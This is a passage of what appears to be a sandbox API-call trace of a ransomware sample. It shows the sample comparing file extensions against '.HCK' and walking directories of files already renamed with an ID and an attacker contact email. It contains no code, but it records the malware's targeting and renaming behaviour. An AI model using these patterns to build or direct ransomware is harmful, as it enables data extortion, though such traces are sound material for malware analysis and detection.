lstrlenW (lpString=".ppa") returned 4 [0224.340] lstrcmpiW (lpString1=".ppa", lpString2=".HCK") returned 1 [0224.340] lstrlenW (lpString=".ppam") returned 5 [0224.340] lstrcmpiW (lpString1=".ppam", lpString2="].HCK") returned -1 [0224.340] lstrlenW (lpString=".ppm") returned 4 [0224.340] lstrcmpiW (lpString1=".ppm", lpString2=".HCK") returned 1 [0224.340] lstrlenW (lpString=".pps") returned 4 [0224.340] lstrcmpiW (lpString1=".pps", lpString2=".HCK") returned 1 [0224.340] lstrlenW (lpString=".ppsm") returned 5 [0224.340] lstrcmpiW (lpString1=".ppsm", lpString2="].HCK") returned -1 [0224.340] lstrlenW (lpString=".ppt") returned 4 [0224.340] lstrcmpiW (lpString1=".ppt", lpString2=".HCK") returned 1 [0224.340] lstrlenW (lpString=".pptm") returned 5 [0224.340] lstrcmpiW (lpString1=".pptm", lpString2="].HCK") returned -1 [0224.341] lstrlenW (lpString=".pptx") returned 5 [0224.341] lstrcmpiW (lpString1=".pptx", lpString2="].HCK") returned -1 [0224.341] lstrlenW (lpString=".prn") returned 4 [0224.341] lstrcmpiW (lpString1=".prn", lpString2=".HCK") returned 1 [0224.341] lstrlenW (lpString=".ps") returned 3 [0224.341] lstrcmpiW (lpString1=".ps", lpString2="HCK") returned -1 [0224.341] lstrlenW (lpString=".psb") returned 4 [0224.341] lstrcmpiW (lpString1=".psb", lpString2=".HCK") returned 1 [0224.341] lstrlenW (lpString=".psd") returned 4 [0224.341] lstrcmpiW (lpString1=".psd", lpString2=".HCK") returned 1 [0224.341] lstrlenW (lpString=".pst") returned 4 [0224.341] lstrcmpiW (lpString1=".pst", lpString2=".HCK") returned 1 [0224.341] lstrlenW (lpString=".ptx") returned 4 [0224.341] lstrcmpiW (lpString1=".ptx", lpString2=".HCK") returned 1 [0224.341] lstrlenW (lpString=".pub") returned 4 [0224.341] lstrcmpiW (lpString1=".pub", lpString2=".HCK") returned 1 [0224.341] lstrlenW (lpString=".pwm") returned 4 [0224.341] lstrcmpiW (lpString1=".pwm", lpString2=".HCK") returned 1 [0224.341] lstrlenW (lpString=".pxr") returned 4 [0224.341] lstrcmpiW (lpString1=".pxr", lpString2=".HCK") returned 1 [0224.341] lstrlenW (lpString=".py") returned 3 [0224.341] lstrcmpiW (lpString1=".py", lpString2="HCK") returned -1 [0224.341] lstrlenW (lpString=".qt") returned 3 [0224.341] lstrcmpiW (lpString1=".qt", lpString2="HCK") returned -1 [0224.341] lstrlenW (lpString=".r3d") returned 4 [0224.341] lstrcmpiW (lpString1=".r3d", lpString2=".HCK") returned 1 [0224.341] lstrlenW (lpString=".raf") returned 4 [0224.341] lstrcmpiW (lpString1=".raf", lpString2=".HCK") returned 1 [0224.341] lstrlenW (lpString=".rar") returned 4 [0224.341] lstrcmpiW (lpString1=".rar", lpString2=".HCK") returned 1 [0224.341] lstrlenW (lpString=".raw") returned 4 [0224.341] lstrcmpiW (lpString1=".raw", lpString2=".HCK") returned 1 [0224.341] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa309a3c4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa309a3c4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa309a3c4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.341] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2fdb921, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2fdb921, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2fdb921, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.341] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2fdb921, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2fdb921, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2fdb921, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.341] FindClose (in: hFindFile=0x573828 | out: hFindFile=0x573828) returned 1 [0224.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.342] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0224.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.342] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573828 [0224.475] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.475] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3348f38, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3348f38, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa336f12a, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.475] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa336f12a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa336f12a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa336f12a, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.475] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2fdb921, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2fdb921, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3001bb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.476] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2fdb921, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2fdb921, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3001bb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.476] FindClose (in: hFindFile=0x573828 | out: hFindFile=0x573828) returned 1 [0224.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.476] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0224.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.476] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573528 [0224.477] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.477] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa33954ba, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa33954ba, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33954ba, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.477] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa33954ba, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa33954ba, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa36e3a11, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.477] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3001bb6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3001bb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33954ba, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.477] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3001bb6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3001bb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33954ba, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.477] FindClose (in: hFindFile=0x573528 | out: hFindFile=0x573528) returned 1 [0224.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.478] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0224.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.478] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5734e8 [0224.478] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.478] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3453eec, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3453eec, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3453eec, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.478] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3453eec, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3453eec, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3453eec, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.478] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3001bb6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3001bb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3001bb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.479] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3001bb6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3001bb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3001bb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.479] FindClose (in: hFindFile=0x5734e8 | out: hFindFile=0x5734e8) returned 1 [0224.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.479] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0224.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.479] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5734e8 [0224.480] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.480] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa347a744, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa347a744, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa347a744, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.480] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa347a744, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa347a744, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34a0371, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.480] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3027d3a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3027d3a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3027d3a, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.480] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3027d3a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3027d3a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3027d3a, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.480] FindClose (in: hFindFile=0x5734e8 | out: hFindFile=0x5734e8) returned 1 [0224.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.481] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0224.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.481] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573868 [0224.481] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.481] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa34a0371, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa34a0371, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3808c2a, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.481] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa355f02e, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa355f02e, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa355f02e, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.481] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3027d3a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3027d3a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa304df85, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.482] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3027d3a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3027d3a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa304df85, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.482] FindClose (in: hFindFile=0x573868 | out: hFindFile=0x573868) returned 1 [0224.482] HeapFree (in: 